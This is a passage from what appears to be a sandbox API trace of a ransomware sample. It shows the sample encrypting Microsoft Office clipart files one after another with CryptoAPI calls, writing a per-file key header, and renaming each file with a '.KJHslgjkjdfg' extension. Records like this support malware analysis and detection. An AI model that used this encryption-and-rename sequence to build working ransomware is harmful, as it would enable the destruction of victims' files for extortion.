hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.086] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x319e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x319e, lpOverlapped=0x0) returned 1 [0181.087] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x31a0, dwBufLen=0x31a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x31a0) returned 1 [0181.087] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.087] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x31a0, lpOverlapped=0x0) returned 1 [0181.087] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.087] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.087] SetEndOfFile (hFile=0x130) returned 1 [0181.089] GetProcessHeap () returned 0x990000 [0181.089] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.089] GetProcessHeap () returned 0x990000 [0181.090] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.090] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.kjhslgjkjdfg")) returned 1 [0181.094] CloseHandle (hObject=0x130) returned 1 [0181.094] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf316a100, ftCreationTime.dwHighDateTime=0x1bd4bcc, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf316a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcc, nFileSizeHigh=0x0, nFileSizeLow=0xd9c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00120_.GIF", cAlternateFileName="")) returned 1 [0181.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.095] GetProcessHeap () returned 0x990000 [0181.095] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.095] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.095] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.095] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.099] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.099] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.099] GetProcessHeap () returned 0x990000 [0181.099] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.100] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.100] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.100] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.100] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.100] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.100] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.100] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.100] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.100] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.100] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.100] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.100] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd9c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd9c, lpOverlapped=0x0) returned 1 [0181.100] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xda0, dwBufLen=0xda0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xda0) returned 1 [0181.100] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.100] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xda0, lpOverlapped=0x0) returned 1 [0181.100] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.100] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.101] SetEndOfFile (hFile=0x130) returned 1 [0181.103] GetProcessHeap () returned 0x990000 [0181.103] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.103] GetProcessHeap () returned 0x990000 [0181.103] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.103] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.kjhslgjkjdfg")) returned 1 [0181.108] CloseHandle (hObject=0x130) returned 1 [0181.108] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33bee00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33bee00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00126_.GIF", cAlternateFileName="")) returned 1 [0181.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.109] GetProcessHeap () returned 0x990000 [0181.109] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.109] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.109] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.109] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0181.111] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.112] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.112] GetProcessHeap () returned 0x990000 [0181.112] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.112] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.112] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.112] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.112] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.112] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.112] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.112] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.112] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.112] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.112] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.112] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.112] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc44, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xc44, lpOverlapped=0x0) returned 1 [0181.112] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc50, dwBufLen=0xc50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc50) returned 1 [0181.112] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.113] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xc50, lpOverlapped=0x0) returned 1 [0181.113] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.113] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.113] SetEndOfFile (hFile=0x130) returned 1 [0181.115] GetProcessHeap () returned 0x990000 [0181.115] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.115] GetProcessHeap () returned 0x990000 [0181.115] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.115] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.kjhslgjkjdfg")) returned 1 [0181.120] CloseHandle (hObject=0x130) returned 1 [0181.120] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00129_.GIF", cAlternateFileName="")) returned 1 [0181.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.120] GetProcessHeap () returned 0x990000 [0181.120] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.120] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.120] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.121] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0181.122] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.122] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.122] GetProcessHeap () returned 0x990000 [0181.122] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.123] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.123] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.123] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.123] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.123] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.123] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.123] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.123] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.123] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.123] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.123] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.123] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x30c2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x30c2, lpOverlapped=0x0) returned 1 [0181.124] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x30d0, dwBufLen=0x30d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x30d0) returned 1 [0181.124] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.124] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x30d0, lpOverlapped=0x0) returned 1 [0181.124] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.125] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x31a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.125] SetEndOfFile (hFile=0x130) returned 1 [0181.127] GetProcessHeap () returned 0x990000 [0181.127] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.127] GetProcessHeap () returned 0x990000 [0181.127] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.127] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.kjhslgjkjdfg")) returned 1 [0181.129] CloseHandle (hObject=0x130) returned 1 [0181.129] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffa86700, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffa86700, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x1485, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00130_.GIF", cAlternateFileName="")) returned 1 [0181.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.130] GetProcessHeap () returned 0x990000 [0181.130] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.130] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.130] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.130] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xb, lpOverlapped=0x0) returned 1 [0181.132] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.132] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.132] GetProcessHeap () returned 0x990000 [0181.132] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.132] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.132] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.132] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.132] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.132] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.132] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.132] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.132] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.132] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.132] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.132] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.132] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1485, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1485, lpOverlapped=0x0) returned 1 [0181.133] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1490, dwBufLen=0x1490 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1490) returned 1 [0181.133] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.133] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1490, lpOverlapped=0x0) returned 1 [0181.133] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.133] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.134] SetEndOfFile (hFile=0x130) returned 1 [0181.136] GetProcessHeap () returned 0x990000 [0181.136] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.136] GetProcessHeap () returned 0x990000 [0181.136] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.136] MoveFileW 